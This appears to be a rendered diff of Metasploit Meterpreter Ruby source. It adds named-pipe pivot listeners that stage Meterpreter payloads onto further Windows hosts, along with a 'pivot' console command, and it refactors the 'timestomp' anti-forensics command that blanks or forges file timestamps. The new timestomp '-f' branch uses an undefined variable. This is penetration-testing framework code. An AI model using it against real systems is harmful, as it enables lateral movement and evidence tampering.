# Monitors the PacketDispatcher's sock for data in its own
|
# Monitors the PacketDispatcher's sock for data in its own
|
||||||
# thread context and parsers all inbound packets.
|
# thread context and parsers all inbound packets.
|
||||||
|
@ -298,6 +331,9 @@ module PacketDispatcher
|
||||||
# Skip if we are using a passive dispatcher
|
# Skip if we are using a passive dispatcher
|
||||||
return if self.passive_service
|
return if self.passive_service
|
||||||
|
|
||||||
|
# redirect to pivot keepalive if we're a pivot session
|
||||||
|
return pivot_keepalive_start if self.pivot_session
|
||||||
|
|
||||||
self.comm_mutex = ::Mutex.new
|
self.comm_mutex = ::Mutex.new
|
||||||
|
|
||||||
self.waiters = []
|
self.waiters = []
|
||||||
|
@ -370,7 +406,7 @@ module PacketDispatcher
|
||||||
backlog.each do |pkt|
|
backlog.each do |pkt|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
if ! dispatch_inbound_packet(pkt)
|
unless dispatch_inbound_packet(pkt)
|
||||||
# Keep Packets in the receive queue until a handler is registered
|
# Keep Packets in the receive queue until a handler is registered
|
||||||
# for them. Packets will live in the receive queue for up to
|
# for them. Packets will live in the receive queue for up to
|
||||||
# PACKET_TIMEOUT seconds, after which they will be dropped.
|
# PACKET_TIMEOUT seconds, after which they will be dropped.
|
||||||
|
@ -427,10 +463,9 @@ module PacketDispatcher
|
||||||
def receive_packet
|
def receive_packet
|
||||||
packet = parser.recv(self.sock)
|
packet = parser.recv(self.sock)
|
||||||
if packet
|
if packet
|
||||||
packet.from_r(self.tlv_enc_key)
|
packet.parse_header!
|
||||||
if self.session_guid == '00000000-0000-0000-0000-000000000000'
|
if self.session_guid == NULL_GUID
|
||||||
parts = packet.session_guid.unpack('H*')[0]
|
self.session_guid = packet.session_guid.dup
|
||||||
self.session_guid = [parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
packet
|
packet
|
||||||
|
@ -440,12 +475,12 @@ module PacketDispatcher
|
||||||
# Stop the monitor
|
# Stop the monitor
|
||||||
#
|
#
|
||||||
def monitor_stop
|
def monitor_stop
|
||||||
if(self.receiver_thread)
|
if self.receiver_thread
|
||||||
self.receiver_thread.kill
|
self.receiver_thread.kill
|
||||||
self.receiver_thread = nil
|
self.receiver_thread = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
if(self.dispatcher_thread)
|
if self.dispatcher_thread
|
||||||
self.dispatcher_thread.kill
|
self.dispatcher_thread.kill
|
||||||
self.dispatcher_thread = nil
|
self.dispatcher_thread = nil
|
||||||
end
|
end
|
||||||
|
@ -461,6 +496,10 @@ module PacketDispatcher
|
||||||
# Adds a waiter association with the supplied request packet.
|
# Adds a waiter association with the supplied request packet.
|
||||||
#
|
#
|
||||||
def add_response_waiter(request, completion_routine = nil, completion_param = nil)
|
def add_response_waiter(request, completion_routine = nil, completion_param = nil)
|
||||||
|
if self.pivot_session
|
||||||
|
return self.pivot_session.add_response_waiter(request, completion_routine, completion_param)
|
||||||
|
end
|
||||||
|
|
||||||
waiter = PacketResponseWaiter.new(request.rid, completion_routine, completion_param)
|
waiter = PacketResponseWaiter.new(request.rid, completion_routine, completion_param)
|
||||||
|
|
||||||
self.waiters << waiter
|
self.waiters << waiter
|
||||||
|
@ -473,6 +512,10 @@ module PacketDispatcher
|
||||||
# if anyone.
|
# if anyone.
|
||||||
#
|
#
|
||||||
def notify_response_waiter(response)
|
def notify_response_waiter(response)
|
||||||
|
if self.pivot_session
|
||||||
|
return self.pivot_session.notify_response_waiter(response)
|
||||||
|
end
|
||||||
|
|
||||||
handled = false
|
handled = false
|
||||||
self.waiters.each() { |waiter|
|
self.waiters.each() { |waiter|
|
||||||
if (waiter.waiting_for?(response))
|
if (waiter.waiting_for?(response))
|
||||||
|
@ -489,7 +532,11 @@ module PacketDispatcher
|
||||||
# Removes a waiter from the list of waiters.
|
# Removes a waiter from the list of waiters.
|
||||||
#
|
#
|
||||||
def remove_response_waiter(waiter)
|
def remove_response_waiter(waiter)
|
||||||
self.waiters.delete(waiter)
|
if self.pivot_session
|
||||||
|
self.pivot_session.remove_response_waiter(waiter)
|
||||||
|
else
|
||||||
|
self.waiters.delete(waiter)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
|
@ -514,15 +561,21 @@ module PacketDispatcher
|
||||||
def dispatch_inbound_packet(packet)
|
def dispatch_inbound_packet(packet)
|
||||||
handled = false
|
handled = false
|
||||||
|
|
||||||
|
pivot_session = self.find_pivot_session(packet.session_guid)
|
||||||
|
|
||||||
|
tlv_enc_key = self.tlv_enc_key
|
||||||
|
tlv_enc_key = pivot_session.pivoted_session.tlv_enc_key if pivot_session
|
||||||
|
|
||||||
|
packet.from_r(tlv_enc_key)
|
||||||
|
|
||||||
# Update our last reply time
|
# Update our last reply time
|
||||||
self.last_checkin = Time.now
|
self.last_checkin = Time.now
|
||||||
|
pivot_session.pivoted_session.last_checkin = self.last_checkin if pivot_session
|
||||||
|
|
||||||
# If the packet is a response, try to notify any potential
|
# If the packet is a response, try to notify any potential
|
||||||
# waiters
|
# waiters
|
||||||
if packet.response?
|
if packet.response? && notify_response_waiter(packet)
|
||||||
if (notify_response_waiter(packet))
|
return true
|
||||||
return true
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Enumerate all of the inbound packet handlers until one handles
|
# Enumerate all of the inbound packet handlers until one handles
|
||||||
|
|
|
@ -0,0 +1,163 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/post/meterpreter/inbound_packet_handler'
|
||||||
|
require 'securerandom'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
|
||||||
|
class PivotListener
|
||||||
|
attr_accessor :id
|
||||||
|
|
||||||
|
attr_accessor :session_class
|
||||||
|
|
||||||
|
attr_accessor :url
|
||||||
|
|
||||||
|
attr_accessor :stage
|
||||||
|
|
||||||
|
def initialize(session_class, url, stage)
|
||||||
|
self.id = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
||||||
|
self.session_class = session_class
|
||||||
|
self.url = url
|
||||||
|
self.stage = stage
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_row
|
||||||
|
[self.id.unpack('H*')[0], url, stage]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class Pivot
|
||||||
|
|
||||||
|
#
|
||||||
|
# The associated meterpreter client instance
|
||||||
|
#
|
||||||
|
attr_accessor :client
|
||||||
|
|
||||||
|
attr_accessor :pivoted_session
|
||||||
|
|
||||||
|
# Class modifications to support global pivot message
|
||||||
|
# dispatching without having to register a per-instance handler
|
||||||
|
class << self
|
||||||
|
include Rex::Post::Meterpreter::InboundPacketHandler
|
||||||
|
|
||||||
|
# Class request handler for all channels that dispatches requests
|
||||||
|
# to the appropriate class instance's DIO handler
|
||||||
|
def request_handler(client, packet)
|
||||||
|
if packet.method == 'core_pivot_session_new'
|
||||||
|
session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
|
||||||
|
listener_id = packet.get_tlv_value(TLV_TYPE_PIVOT_ID)
|
||||||
|
client.add_pivot_session(Pivot.new(client, session_guid, listener_id))
|
||||||
|
elsif packet.method == 'core_pivot_session_died'
|
||||||
|
session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
|
||||||
|
pivot = client.find_pivot_session(session_guid)
|
||||||
|
if pivot
|
||||||
|
pivot.pivoted_session.kill('Died')
|
||||||
|
client.remove_pivot_session(session_guid)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def Pivot.get_listeners(client)
|
||||||
|
client.pivot_listeners
|
||||||
|
end
|
||||||
|
|
||||||
|
def Pivot.remove_listener(client, listener_id)
|
||||||
|
if client.find_pivot_listener(listener_id)
|
||||||
|
request = Packet.create_request('core_pivot_remove')
|
||||||
|
request.add_tlv(TLV_TYPE_PIVOT_ID, listener_id)
|
||||||
|
client.send_request(request)
|
||||||
|
client.remove_pivot_listener(listener_id)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def Pivot.create_named_pipe_listener(client, opts={})
|
||||||
|
request = Packet.create_request('core_pivot_add')
|
||||||
|
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
|
||||||
|
|
||||||
|
# TODO: use the framework to generate the whole lot, including a session type
|
||||||
|
c = Class.new(::Msf::Payload)
|
||||||
|
c.include(::Msf::Payload::Stager)
|
||||||
|
c.include(::Msf::Payload::TransportConfig)
|
||||||
|
|
||||||
|
# TODO: add more platforms
|
||||||
|
case opts[:platform]
|
||||||
|
when 'windows'
|
||||||
|
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||||
|
if opts[:arch] == ARCH_X86
|
||||||
|
c.include(::Msf::Payload::Windows::MeterpreterLoader)
|
||||||
|
elsif opts[:arch] == ARCH_X64
|
||||||
|
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
|
||||||
|
else
|
||||||
|
STDERR.puts("Not including a loader for '#{opts[:arch]}'\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
stage_opts = {
|
||||||
|
arch: opts[:arch],
|
||||||
|
force_write_handle: true,
|
||||||
|
null_session_guid: true,
|
||||||
|
datastore: {
|
||||||
|
exit_func: opts[:exit_func] || 'process',
|
||||||
|
expiration: client.expiration,
|
||||||
|
comm_timeout: client.comm_timeout,
|
||||||
|
retry_total: client.retry_total,
|
||||||
|
retry_wait: client.retry_wait,
|
||||||
|
'PIPEHOST' => opts[:pipe_host],
|
||||||
|
'PIPENAME' => opts[:pipe_name]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create the migrate stager
|
||||||
|
stager = c.new()
|
||||||
|
|
||||||
|
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
|
||||||
|
stage = stager.stage_payload(stage_opts)
|
||||||
|
|
||||||
|
url = "pipe://#{opts[:pipe_host]}/#{opts[:pipe_name]}"
|
||||||
|
stage_config = "#{opts[:arch]}/#{opts[:platform]}"
|
||||||
|
pivot_listener = PivotListener.new(::Msf::Sessions::Meterpreter_x86_Win, url, stage_config)
|
||||||
|
|
||||||
|
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
|
||||||
|
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
|
||||||
|
request.add_tlv(TLV_TYPE_PIVOT_ID, pivot_listener.id)
|
||||||
|
|
||||||
|
client.send_request(request)
|
||||||
|
|
||||||
|
client.add_pivot_listener(pivot_listener)
|
||||||
|
|
||||||
|
pivot_listener
|
||||||
|
end
|
||||||
|
|
||||||
|
def initialize(client, session_guid, listener_id)
|
||||||
|
self.client = client
|
||||||
|
|
||||||
|
opts = {
|
||||||
|
pivot_session: client,
|
||||||
|
session_guid: session_guid
|
||||||
|
}
|
||||||
|
|
||||||
|
listener = client.find_pivot_listener(listener_id)
|
||||||
|
self.pivoted_session = listener.session_class.new(nil, opts)
|
||||||
|
|
||||||
|
self.pivoted_session.framework = self.client.framework
|
||||||
|
self.pivoted_session.bootstrap({'AutoVerifySessionTimeout' => 30})
|
||||||
|
self.client.framework.sessions.register(self.pivoted_session)
|
||||||
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
#
|
||||||
|
# Cleans up any lingering resources
|
||||||
|
#
|
||||||
|
def cleanup
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end; end; end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,72 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This interface is meant to be included by things that are meant to contain
|
||||||
|
# zero or more pivot instances in the form of a hash.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module PivotContainer
|
||||||
|
|
||||||
|
#
|
||||||
|
# Initializes the pivot association hash
|
||||||
|
#
|
||||||
|
def initialize_pivots
|
||||||
|
self.pivot_sessions = {}
|
||||||
|
self.pivot_listeners = {}
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Adds a pivot to the container that is indexed by the pivoted
|
||||||
|
# session guid.
|
||||||
|
#
|
||||||
|
def add_pivot_session(pivot)
|
||||||
|
self.pivot_sessions[pivot.pivoted_session.session_guid] = pivot
|
||||||
|
end
|
||||||
|
|
||||||
|
def add_pivot_listener(listener)
|
||||||
|
self.pivot_listeners[listener.id] = listener
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Looks up a pivot instance based on its pivoted session guid.
|
||||||
|
#
|
||||||
|
def find_pivot_session(pivot_session_guid)
|
||||||
|
return self.pivot_sessions[pivot_session_guid]
|
||||||
|
end
|
||||||
|
|
||||||
|
def find_pivot_listener(listener_id)
|
||||||
|
return self.pivot_listeners[listener_id]
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Removes a pivot based on its pivoted session guid.
|
||||||
|
#
|
||||||
|
def remove_pivot_session(pivot_session_guid)
|
||||||
|
return self.pivot_sessions.delete(pivot_session_guid)
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove_pivot_listener(listener_id)
|
||||||
|
return self.pivot_listeners.delete(listener_id)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# The hash of pivot sessions.
|
||||||
|
#
|
||||||
|
attr_reader :pivot_sessions
|
||||||
|
|
||||||
|
attr_reader :pivot_listeners
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
attr_writer :pivot_sessions # :nodoc:
|
||||||
|
|
||||||
|
attr_writer :pivot_listeners # :nodoc:
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end; end; end
|
|
@ -83,6 +83,8 @@ class Console::CommandDispatcher::Core
|
||||||
if client.passive_service && client.sock.type? == 'tcp-ssl'
|
if client.passive_service && client.sock.type? == 'tcp-ssl'
|
||||||
c['ssl_verify'] = 'Modify the SSL certificate verification setting'
|
c['ssl_verify'] = 'Modify the SSL certificate verification setting'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
c['pivot'] = 'Manage pivot listeners'
|
||||||
end
|
end
|
||||||
|
|
||||||
if client.platform == 'windows' || client.platform == 'linux'
|
if client.platform == 'windows' || client.platform == 'linux'
|
||||||
|
@ -119,6 +121,156 @@ class Console::CommandDispatcher::Core
|
||||||
'Core'
|
'Core'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@@pivot_opts = Rex::Parser::Arguments.new(
|
||||||
|
'-t' => [true, 'Pivot listener type'],
|
||||||
|
'-i' => [true, 'Identifier of the pivot to remove'],
|
||||||
|
'-l' => [true, 'Host address to bind to (if applicable)'],
|
||||||
|
'-n' => [true, 'Name of the listener entity (if applicable)'],
|
||||||
|
'-a' => [true, 'Architecture of the stage to generate'],
|
||||||
|
'-p' => [true, 'Platform of the stage to generate'],
|
||||||
|
'-h' => [false, 'View help']
|
||||||
|
)
|
||||||
|
|
||||||
|
@@pivot_supported_archs = [ARCH_X64, ARCH_X86]
|
||||||
|
@@pivot_supported_platforms = ['windows']
|
||||||
|
|
||||||
|
def cmd_pivot_help
|
||||||
|
print_line('Usage: pivot <list|add|remove> [options]')
|
||||||
|
print_line
|
||||||
|
print_line('Manage pivot listeners on the target.')
|
||||||
|
print_line
|
||||||
|
print_line(@@pivot_opts.usage)
|
||||||
|
print_line
|
||||||
|
print_line('Supported pivot types:')
|
||||||
|
print_line(' - pipe (using named pipes over SMB)')
|
||||||
|
print_line('Supported arhiectures:')
|
||||||
|
@@pivot_supported_archs.each do |a|
|
||||||
|
print_line(' - ' + a)
|
||||||
|
end
|
||||||
|
print_line('Supported platforms:')
|
||||||
|
print_line(' - windows')
|
||||||
|
print_line
|
||||||
|
print_line("eg. pivot add -t pipe -l 192.168.0.1 -n msf-pipe -a #{@@pivot_supported_archs.first} -p windows")
|
||||||
|
print_line(" pivot list")
|
||||||
|
print_line(" pivot remove -i 1")
|
||||||
|
print_line
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_pivot(*args)
|
||||||
|
if args.length == 0 || args.include?('-h')
|
||||||
|
cmd_pivot_help
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
opts = {}
|
||||||
|
@@pivot_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when '-t'
|
||||||
|
opts[:type] = val
|
||||||
|
when '-i'
|
||||||
|
opts[:guid] = val
|
||||||
|
when '-l'
|
||||||
|
opts[:lhost] = val
|
||||||
|
when '-n'
|
||||||
|
opts[:name] = val
|
||||||
|
when '-a'
|
||||||
|
opts[:arch] = val
|
||||||
|
when '-p'
|
||||||
|
opts[:platform] = val
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
# first parameter is the command
|
||||||
|
case args[0]
|
||||||
|
when 'remove', 'del', 'delete', 'rm'
|
||||||
|
unless opts[:guid]
|
||||||
|
print_error('Pivot listener ID must be specified (-i)')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
unless opts[:guid] =~ /^[0-9a-f]{32}/i && opts[:guid].length == 32
|
||||||
|
print_error("Invalid pivot listener ID: #{opts[:guid]}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
listener_id = [opts[:guid]].pack('H*')
|
||||||
|
unless client.find_pivot_listener(listener_id)
|
||||||
|
print_error("Unknown pivot listener ID: #{opts[:guid]}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
Pivot.remove_listener(client, listener_id)
|
||||||
|
print_good("Successfully removed pivot: #{opts[:guid]}")
|
||||||
|
when 'list', 'show', 'print'
|
||||||
|
if client.pivot_listeners.length > 0
|
||||||
|
tbl = Rex::Text::Table.new(
|
||||||
|
'Header' => 'Currently active pivot listeners',
|
||||||
|
'Indent' => 4,
|
||||||
|
'Columns' => ['Id', 'URL', 'Stage'])
|
||||||
|
|
||||||
|
client.pivot_listeners.each do |k, v|
|
||||||
|
tbl << v.to_row
|
||||||
|
end
|
||||||
|
print_line
|
||||||
|
print_line(tbl.to_s)
|
||||||
|
else
|
||||||
|
print_status('There are no active pivot listeners')
|
||||||
|
end
|
||||||
|
when 'add'
|
||||||
|
unless opts[:type]
|
||||||
|
print_error('Pivot type must be specified (-t)')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
unless opts[:arch]
|
||||||
|
print_error('Architecture must be specified (-a)')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
unless @@pivot_supported_archs.include?(opts[:arch])
|
||||||
|
print_error("Unknown or unsupported architecture: #{opts[:arch]}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
unless opts[:platform]
|
||||||
|
print_error('Platform must be specified (-p)')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
unless @@pivot_supported_platforms.include?(opts[:platform])
|
||||||
|
print_error("Unknown or unsupported platform: #{opts[:platform]}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
# currently only one pivot type supported, more to come we hope
|
||||||
|
case opts[:type]
|
||||||
|
when 'pipe'
|
||||||
|
pivot_add_named_pipe(opts)
|
||||||
|
else
|
||||||
|
print_error("Unknown pivot type: #{opts[:type]}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("Unknown command: #{args[0]}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def pivot_add_named_pipe(opts)
|
||||||
|
unless opts[:lhost]
|
||||||
|
print_error('Pipe host must be specified (-l)')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
unless opts[:name]
|
||||||
|
print_error('Pipe name must be specified (-n)')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
# reconfigure the opts so that they can be passed to the setup function
|
||||||
|
opts[:pipe_host] = opts[:lhost]
|
||||||
|
opts[:pipe_name] = opts[:name]
|
||||||
|
Pivot.create_named_pipe_listener(client, opts)
|
||||||
|
print_good("Successfully created #{opts[:type]} pivot.")
|
||||||
|
end
|
||||||
|
|
||||||
def cmd_sessions_help
|
def cmd_sessions_help
|
||||||
print_line('Usage: sessions <id>')
|
print_line('Usage: sessions <id>')
|
||||||
print_line
|
print_line
|
||||||
|
@ -605,7 +757,7 @@ class Console::CommandDispatcher::Core
|
||||||
# Arguments for transport switching
|
# Arguments for transport switching
|
||||||
#
|
#
|
||||||
@@transport_opts = Rex::Parser::Arguments.new(
|
@@transport_opts = Rex::Parser::Arguments.new(
|
||||||
'-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}"],
|
'-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.join(', ')}"],
|
||||||
'-l' => [true, 'LHOST parameter (for reverse transports)'],
|
'-l' => [true, 'LHOST parameter (for reverse transports)'],
|
||||||
'-p' => [true, 'LPORT parameter'],
|
'-p' => [true, 'LPORT parameter'],
|
||||||
'-i' => [true, 'Specify transport by index (currently supported: remove)'],
|
'-i' => [true, 'Specify transport by index (currently supported: remove)'],
|
||||||
|
|
|
@ -2,141 +2,162 @@
|
||||||
require 'rex/post/meterpreter'
|
require 'rex/post/meterpreter'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Post
|
module Post
|
||||||
module Meterpreter
|
module Meterpreter
|
||||||
module Ui
|
module Ui
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class provides commands that interact with the timestomp feature set of
|
||||||
|
# the privilege escalation extension.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Console::CommandDispatcher::Priv::Timestomp
|
||||||
|
Klass = Console::CommandDispatcher::Priv::Timestomp
|
||||||
|
|
||||||
###
|
include Console::CommandDispatcher
|
||||||
#
|
|
||||||
# This class provides commands that interact with the timestomp feature set of
|
|
||||||
# the privilege escalation extension.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
class Console::CommandDispatcher::Priv::Timestomp
|
|
||||||
|
|
||||||
Klass = Console::CommandDispatcher::Priv::Timestomp
|
@@timestomp_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-m" => [ true, "Set the \"last written\" time of the file" ],
|
||||||
|
"-a" => [ true, "Set the \"last accessed\" time of the file" ],
|
||||||
|
"-c" => [ true, "Set the \"creation\" time of the file" ],
|
||||||
|
"-e" => [ true, "Set the \"mft entry modified\" time of the file" ],
|
||||||
|
"-z" => [ true, "Set all four attributes (MACE) of the file" ],
|
||||||
|
"-f" => [ true, "Set the MACE of attributes equal to the supplied file" ],
|
||||||
|
"-b" => [ false, "Set the MACE timestamps so that EnCase shows blanks" ],
|
||||||
|
"-r" => [ false, "Set the MACE timestamps recursively on a directory" ],
|
||||||
|
"-v" => [ false, "Display the UTC MACE values of the file" ],
|
||||||
|
"-h" => [ false, "Help banner" ]
|
||||||
|
)
|
||||||
|
|
||||||
include Console::CommandDispatcher
|
#
|
||||||
|
# List of supported commands.
|
||||||
|
#
|
||||||
|
def commands
|
||||||
|
{
|
||||||
|
"timestomp" => "Manipulate file MACE attributes"
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
@@timestomp_opts = Rex::Parser::Arguments.new(
|
#
|
||||||
"-m" => [ true, "Set the \"last written\" time of the file" ],
|
# Name for this dispatcher.
|
||||||
"-a" => [ true, "Set the \"last accessed\" time of the file" ],
|
#
|
||||||
"-c" => [ true, "Set the \"creation\" time of the file" ],
|
def name
|
||||||
"-e" => [ true, "Set the \"mft entry modified\" time of the file" ],
|
"Priv: Timestomp"
|
||||||
"-z" => [ true, "Set all four attributes (MACE) of the file" ],
|
end
|
||||||
"-f" => [ true, "Set the MACE of attributes equal to the supplied file" ],
|
|
||||||
"-b" => [ false, "Set the MACE timestamps so that EnCase shows blanks" ],
|
|
||||||
"-r" => [ false, "Set the MACE timestamps recursively on a directory" ],
|
|
||||||
"-v" => [ false, "Display the UTC MACE values of the file" ],
|
|
||||||
"-h" => [ false, "Help banner" ])
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# List of supported commands.
|
# This command provides the same level of features that vinnie's command
|
||||||
#
|
# line timestomp interface provides with a similar argument set.
|
||||||
def commands
|
#
|
||||||
{
|
def cmd_timestomp(*args)
|
||||||
"timestomp" => "Manipulate file MACE attributes"
|
paths = []
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
modified = nil
|
||||||
# Name for this dispatcher.
|
accessed = nil
|
||||||
#
|
creation = nil
|
||||||
def name
|
emodified = nil
|
||||||
"Priv: Timestomp"
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
blank_file_mace = false
|
||||||
# This command provides the same level of features that vinnie's command
|
blank_directory_mace = false
|
||||||
# line timestomp interface provides with a similar argument set.
|
get_file_mace = false
|
||||||
#
|
help = false
|
||||||
def cmd_timestomp(*args)
|
|
||||||
if (args.length < 2)
|
|
||||||
print_line("\nUsage: timestomp OPTIONS file_path\n" +
|
|
||||||
@@timestomp_opts.usage)
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
file_path = nil
|
@@timestomp_opts.parse(args) do |opt, _idx, val|
|
||||||
args.each { |a| file_path = a unless a[0] == "-" }
|
case opt
|
||||||
|
when "-m"
|
||||||
|
modified = str_to_time(val)
|
||||||
|
when "-a"
|
||||||
|
accessed = str_to_time(val)
|
||||||
|
when "-c"
|
||||||
|
creation = str_to_time(val)
|
||||||
|
when "-e"
|
||||||
|
emodified = str_to_time(val)
|
||||||
|
when "-z"
|
||||||
|
modified = str_to_time(val)
|
||||||
|
accessed = str_to_time(val)
|
||||||
|
creation = str_to_time(val)
|
||||||
|
emodified = str_to_time(val)
|
||||||
|
when "-f"
|
||||||
|
print_status("Setting MACE attributes on #{path} from #{val}")
|
||||||
|
hash = client.priv.fs.get_file_mace(path)
|
||||||
|
if hash
|
||||||
|
modified = str_to_time(hash['Modified'])
|
||||||
|
accessed = str_to_time(hash['Accessed'])
|
||||||
|
creation = str_to_time(hash['Created'])
|
||||||
|
emodified = str_to_time(hash['Entry Modified'])
|
||||||
|
end
|
||||||
|
when "-b"
|
||||||
|
blank_file_mace = true
|
||||||
|
when "-r"
|
||||||
|
blank_directory_mace = true
|
||||||
|
when "-v"
|
||||||
|
get_file_mace = true
|
||||||
|
when "-h"
|
||||||
|
help = true
|
||||||
|
when nil
|
||||||
|
paths << val
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
if file_path.nil?
|
if paths.empty?
|
||||||
print_line("\nNo file_path specified.")
|
print_line("\nNo paths specified.")
|
||||||
return
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
args.delete(file_path)
|
if !(modified || accessed || creation || emodified ||
|
||||||
|
blank_file_mace || blank_directory_mace || get_file_mace) || help
|
||||||
|
print_line("\nUsage: timestomp <file(s)> OPTIONS\n" +
|
||||||
|
@@timestomp_opts.usage)
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
modified = nil
|
paths.uniq.each do |path|
|
||||||
accessed = nil
|
# If any one of the four times were specified, change them.
|
||||||
creation = nil
|
if modified || accessed || creation || emodified
|
||||||
emodified = nil
|
print_status("Setting specific MACE attributes on #{path}")
|
||||||
|
client.priv.fs.set_file_mace(path, modified, accessed, creation, emodified)
|
||||||
|
end
|
||||||
|
|
||||||
@@timestomp_opts.parse(args) { |opt, idx, val|
|
if blank_file_mace
|
||||||
case opt
|
print_status("Blanking file MACE attributes on #{path}")
|
||||||
when "-m"
|
client.priv.fs.blank_file_mace(path)
|
||||||
modified = str_to_time(val)
|
end
|
||||||
when "-a"
|
|
||||||
accessed = str_to_time(val)
|
|
||||||
when "-c"
|
|
||||||
creation = str_to_time(val)
|
|
||||||
when "-e"
|
|
||||||
emodified = str_to_time(val)
|
|
||||||
when "-z"
|
|
||||||
print_line("#{val}")
|
|
||||||
modified = str_to_time(val)
|
|
||||||
accessed = str_to_time(val)
|
|
||||||
creation = str_to_time(val)
|
|
||||||
emodified = str_to_time(val)
|
|
||||||
when "-f"
|
|
||||||
print_status("Setting MACE attributes on #{file_path} from #{val}")
|
|
||||||
client.priv.fs.set_file_mace_from_file(file_path, val)
|
|
||||||
when "-b"
|
|
||||||
print_status("Blanking file MACE attributes on #{file_path}")
|
|
||||||
client.priv.fs.blank_file_mace(file_path)
|
|
||||||
when "-r"
|
|
||||||
print_status("Blanking directory MACE attributes on #{file_path}")
|
|
||||||
client.priv.fs.blank_directory_mace(file_path)
|
|
||||||
when "-v"
|
|
||||||
hash = client.priv.fs.get_file_mace(file_path)
|
|
||||||
|
|
||||||
print_line("Modified : #{hash['Modified']}")
|
if blank_directory_mace
|
||||||
print_line("Accessed : #{hash['Accessed']}")
|
print_status("Blanking directory MACE attributes on #{path}")
|
||||||
print_line("Created : #{hash['Created']}")
|
client.priv.fs.blank_directory_mace(path)
|
||||||
print_line("Entry Modified: #{hash['Entry Modified']}")
|
end
|
||||||
when "-h"
|
|
||||||
print_line("\nUsage: timestomp file_path OPTIONS\n" +
|
if get_file_mace
|
||||||
@@timestomp_opts.usage)
|
hash = client.priv.fs.get_file_mace(path)
|
||||||
return
|
print_status("Showing MACE attributes for #{path}")
|
||||||
|
print_line("Modified : #{hash['Modified']}")
|
||||||
|
print_line("Accessed : #{hash['Accessed']}")
|
||||||
|
print_line("Created : #{hash['Created']}")
|
||||||
|
print_line("Entry Modified: #{hash['Entry Modified']}")
